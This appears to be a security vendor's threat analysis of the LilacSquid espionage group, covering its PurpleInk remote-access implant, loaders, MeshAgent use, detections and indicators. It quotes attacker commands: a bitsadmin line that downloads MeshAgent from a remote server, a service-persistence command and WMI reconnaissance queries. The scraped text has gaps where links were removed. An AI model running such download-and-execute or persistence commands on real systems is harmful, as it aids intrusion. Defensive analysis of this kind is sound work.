

LilacSquid: APT Threat Analysis

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LilacSquid: The stealthy trilogy of PurpleInk, InkBox and InkLoader

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APT

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LilacSquid's victimology includes a diverse set of victims consisting of information technology organizations building software for the research and industrial sectors in the United States, organizations in the energy sector in Europe and the pharmaceutical sector in Asia indicating that the threat actor (TA) may be agnostic of industry verticals and trying to steal data from a variety of sources.

This campaign leverages vulnerabilities in public-facing application servers and compromised remote desktop protocol (RDP) credentials to orchestrate the deployment of a variety of open-source tools, such as MeshAgent and SSF, alongside customized malware, such as "PurpleInk," and two malware loaders we are calling "InkBox" and "InkLoader."

LilacSquid -- An espionage-motivated threat actor

Previous intrusions into software manufacturers, such as the

and

compromises by Lazarus, indicate that unauthorized long-term access to organizations that manufacture and distribute popular software for enterprise and industrial organizations can open avenues of supply chain compromise proving advantageous to threat actors such as LilacSquid, allowing them to widen their net of targets.

It is worth noting that multiple tactics, techniques, tools and procedures (TTPs) utilized in this campaign bear some overlap with North Korean APT groups, such as

. Public reporting has noted Andariel's use of

as a tool for maintaining post-compromise access after successful exploitation. Furthermore, Talos has observed Lazarus extensively use SOCKs proxy and tunneling tools, along with custom-made malware as part of their post-compromise

to act as channels of secondary access and exfiltration

LilacSquid's infection chains

MeshAgent

Secure Socket Funneling (SSF)

Successful exploitation of the vulnerable application results in the attackers deploying a script that will set up working directories for the malware and then download and execute MeshAgent from a remote server. On execution, MeshAgent will connect to its C2, carry out preliminary reconnaissance and begin downloading and activating other implants on the system, such as SSF and PurpleInk.

```
bitsadmin /transfer -job_name- /download /priority normal -remote_URL- -local_path_for_MeshAgent-
```

Instrumenting InkLoader -- Modularizing the infection chain

InkLoader is a simple, yet effective DOT NET-based malware loader. It is written to run a hardcoded executable or command. In this infection chain, InkLoader is the component that persists across reboots on the infected host instead of the actual malware it runs. So far, we have only seen PurpleInk being executed via InkLoader, but LilacSquid may likely use InkLoader to deploy additional malware implants.

Service creation and execution on the endpoint is typically done via the command line interface using the commands:

```
sc description TransactExDetect Extended Transaction Detection for Active Directory domain hosts
```

PurpleInk -- LilacSquid's bespoke implant

2014

PurpleInk uses an accompanying configuration file to obtain information such as the C2 server's address and port. This file is typically base64-decoded and decrypted to obtain the configuration strings required by PurpleInk.

In terms of RAT capabilities, PurpleInk can perform the following actions on the infected host:

Terminate a process ID (PID) specified by the C2 on the infected host.

Get drive information for the infected host, such as volume labels, root directory names, drive type and drive format.

Read a file specified by the C2 and exfiltrate its contents.

Gather system information about the infected host using WMI queries. Information includes:

WMI query and output used

```
SELECT * FROM Win32_Processor
```

```
Select * From Win32_ComputerSystem |
```

Video Card (GPU)

Username

Computer name

Domain name

Host name

System drive

System directory

Computer uptime

```
SELECT * FROM Win32_OperatingSystem WHERE Primary='true' |
```

MAC address

enumerating

LAN IP address

enumerating

WAN IP address

Antivirus software name

NoInfo

Firewall

NoInfo

Time zone

Country

ISP

Start a remote shell on the infected host using ' cmd[.]exe /K '.

Delete files and directories specified by the C2.

PurpleInk has the following capabilities related to communicating with its "friends" (proxy servers):

new

Send data to a new or existing friend.

Receive data from another connected friend and process it.

Close all connections to proxy servers.

Connect and send/receive data from connected proxies.

InkBox -- Custom loader observed in older attacks

The usage of InkBox to deploy PurpleInk is an older technique used by LilacSquid since 2021. Since 2023, the threat actor has produced another variant of the infection chain where they have modularized the infection chain so that PurpleInk can now run as a separate process. However, even in this new infection chain, PurpleInk is still run via another component that we call "InkLoader."

In this campaign, LilacSquid has extensively used MeshAgent as the first stage of their post-compromise activity. MeshAgent is the agent/client from the

, an open-source remote device management software. The MeshAgent binaries typically use a configuration file, known as an MSH file. The MSH files in this campaign contain information such as MeshName (victim identifier in this case) and C2 addresses:

MeshType=-Type_of_mesh-

ServerID=-Server_ID_hex-

Translation=-keywords_translation_JSON-

List all devices in the Mesh (list of victims).

Manage files on the system.

Post-exploitation, MeshAgent activates other dual-use and malicious tools on the infected systems, such as SSF and PurpleInk.

Ways our customers can detect and block this threat are listed below.

(formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free

Cisco Secure Web Appliance

Cisco Secure Email

here

Cisco Secure Firewall

Threat Defense Virtual

Adaptive Security Appliance

Meraki MX

Cisco Secure Malware Analytics

Umbrella

here

Cisco Secure Web Appliance

Additional protection with context to your specific environment and threat data are available from the

.

provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Snort.org

The following

SIDs have been released to detect this threat: 63511 - 63514, 300920 - 300921.

IOCs for this research can also be found at our GitHub repository

.

2eb9c6722139e821c2fe8314b356880be70f3d19d8d2ba530adc9f466ffc67d8

67[.]213[.]221[.]6

45[.]9[.]251[.]14

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State-sponsored actors, better known as the friends you don't want

Responding to a state-sponsored threat is nothing like responding to ransomware, and the differences can make or break the outcome. Learn why your IR plan might need revisiting, and the factors you should consider.

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UAT-4356's Targeting of Cisco Firepower Devices

Cisco Talos is aware of UAT-4356's continued active targeting of Cisco Firepower devices' Firepower eXtensible Operating System (FXOS). UAT-4356 exploited n-day vulnerabilities (CVE-2025-20333 and CVE-2025-20362) to gain unauthorized access to vulnerable devices.